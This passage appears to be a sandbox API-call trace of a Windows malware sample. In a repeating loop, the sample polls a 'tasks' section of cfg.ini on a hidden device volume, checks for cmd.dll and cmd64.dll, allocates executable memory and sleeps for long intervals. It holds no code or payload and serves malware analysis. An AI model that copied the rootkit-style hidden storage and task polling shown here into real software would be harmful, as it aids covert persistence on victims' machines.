returned 0x0 [0128.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.125] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.125] IdePortDispatch () returned 0x103 [0128.125] KeWaitForMutexObject () returned 0x0 [0128.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.125] KeLeaveCriticalRegion () [0128.125] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.126] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.126] KeEnterCriticalRegion () [0128.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.126] KeLeaveCriticalRegion () [0128.126] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.126] KeEnterCriticalRegion () [0128.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.126] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.126] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.126] KeLeaveCriticalRegion () [0128.126] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.126] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.126] KeEnterCriticalRegion () [0128.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.126] ExFreePoolWithTag (P=0xfffffa8003bfd9c0, Tag=0x0) [0128.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.126] KeLeaveCriticalRegion () [0128.126] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.126] ReleaseMutex (hMutex=0xf0) returned 1 [0128.126] Sleep (dwMilliseconds=0x927c0) [0128.147] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.147] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.147] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.147] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.147] KeEnterCriticalRegion () [0128.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.147] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.147] IdePortDispatch () returned 0x103 [0128.148] KeWaitForMutexObject () returned 0x0 [0128.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.148] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.148] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.148] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.148] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.148] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe900 [0128.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.148] KeLeaveCriticalRegion () [0128.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.148] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.148] KeEnterCriticalRegion () [0128.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.148] KeLeaveCriticalRegion () [0128.148] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.148] KeEnterCriticalRegion () [0128.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.148] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.148] IdePortDispatch () returned 0x103 [0128.149] KeWaitForMutexObject () returned 0x0 [0128.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.149] KeLeaveCriticalRegion () [0128.149] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.149] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.149] KeEnterCriticalRegion () [0128.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd3000 [0128.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.149] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.149] IdePortDispatch () returned 0x103 [0128.149] KeWaitForMutexObject () returned 0x0 [0128.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.149] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.149] IdePortDispatch () returned 0x103 [0128.150] KeWaitForMutexObject () returned 0x0 [0128.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.150] KeLeaveCriticalRegion () [0128.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.150] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.150] KeEnterCriticalRegion () [0128.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.150] KeLeaveCriticalRegion () [0128.151] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.151] KeEnterCriticalRegion () [0128.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.151] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.151] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.151] KeLeaveCriticalRegion () [0128.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.151] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.151] KeEnterCriticalRegion () [0128.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.151] ExFreePoolWithTag (P=0xfffffa8003bfe900, Tag=0x0) [0128.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.151] KeLeaveCriticalRegion () [0128.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.151] ReleaseMutex (hMutex=0xf0) returned 1 [0128.151] Sleep (dwMilliseconds=0x927c0) [0128.169] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.169] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.169] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.169] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.169] KeEnterCriticalRegion () [0128.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.169] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.169] IdePortDispatch () returned 0x103 [0128.169] KeWaitForMutexObject () returned 0x0 [0128.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.169] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.169] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.169] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.169] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.170] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80018fefb0 [0128.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.170] KeLeaveCriticalRegion () [0128.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.170] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.170] KeEnterCriticalRegion () [0128.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.170] KeLeaveCriticalRegion () [0128.170] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.170] KeEnterCriticalRegion () [0128.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.170] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.170] IdePortDispatch () returned 0x103 [0128.170] KeWaitForMutexObject () returned 0x0 [0128.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.170] KeLeaveCriticalRegion () [0128.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.170] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.170] KeEnterCriticalRegion () [0128.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd8000 [0128.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.171] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.171] IdePortDispatch () returned 0x103 [0128.171] KeWaitForMutexObject () returned 0x0 [0128.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.171] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.171] IdePortDispatch () returned 0x103 [0128.171] KeWaitForMutexObject () returned 0x0 [0128.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.171] KeLeaveCriticalRegion () [0128.171] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.172] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.172] KeEnterCriticalRegion () [0128.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.172] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.172] KeLeaveCriticalRegion () [0128.172] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.172] KeEnterCriticalRegion () [0128.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.172] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.172] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfedc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.172] KeLeaveCriticalRegion () [0128.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.172] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.172] KeEnterCriticalRegion () [0128.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.172] ExFreePoolWithTag (P=0xfffffa80018fefb0, Tag=0x0) [0128.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.172] KeLeaveCriticalRegion () [0128.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.173] ReleaseMutex (hMutex=0xf0) returned 1 [0128.173] Sleep (dwMilliseconds=0x927c0) [0128.191] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.191] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.191] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.191] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.191] KeEnterCriticalRegion () [0128.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.191] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.191] IdePortDispatch () returned 0x103 [0128.191] KeWaitForMutexObject () returned 0x0 [0128.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.191] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.192] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.192] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.192] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.192] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037af830 [0128.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.192] KeLeaveCriticalRegion () [0128.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.192] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.192] KeEnterCriticalRegion () [0128.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.192] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.192] KeLeaveCriticalRegion () [0128.192] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.192] KeEnterCriticalRegion () [0128.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.192] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.192] IdePortDispatch () returned 0x103 [0128.192] KeWaitForMutexObject () returned 0x0 [0128.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.192] KeLeaveCriticalRegion () [0128.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.193] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.193] KeEnterCriticalRegion () [0128.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdd000 [0128.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.193] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.193] IdePortDispatch () returned 0x103 [0128.193] KeWaitForMutexObject () returned 0x0 [0128.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.193] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.193] IdePortDispatch () returned 0x103 [0128.193] KeWaitForMutexObject () returned 0x0 [0128.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.193] KeLeaveCriticalRegion () [0128.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.194] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.194] KeEnterCriticalRegion () [0128.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.194] KeLeaveCriticalRegion () [0128.194] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.194] KeEnterCriticalRegion () [0128.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.194] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.194] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.194] KeLeaveCriticalRegion () [0128.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.194] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, 